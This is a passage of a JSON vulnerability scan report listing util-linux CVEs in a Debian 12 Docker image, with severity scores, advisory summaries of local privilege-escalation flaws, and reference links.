"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libuuid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libuuid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/libuuid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libuuid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"e2fsprogs/e2fsprogs@1.47.0-2+b2",
"util-linux/libuuid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libuuid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"e2fsprogs/e2fsprogs@1.47.0-2+b2",
"util-linux/libuuid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libuuid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"e2fsprogs/e2fsprogs@1.47.0-2+b2",
"util-linux/libuuid1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libuuid1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
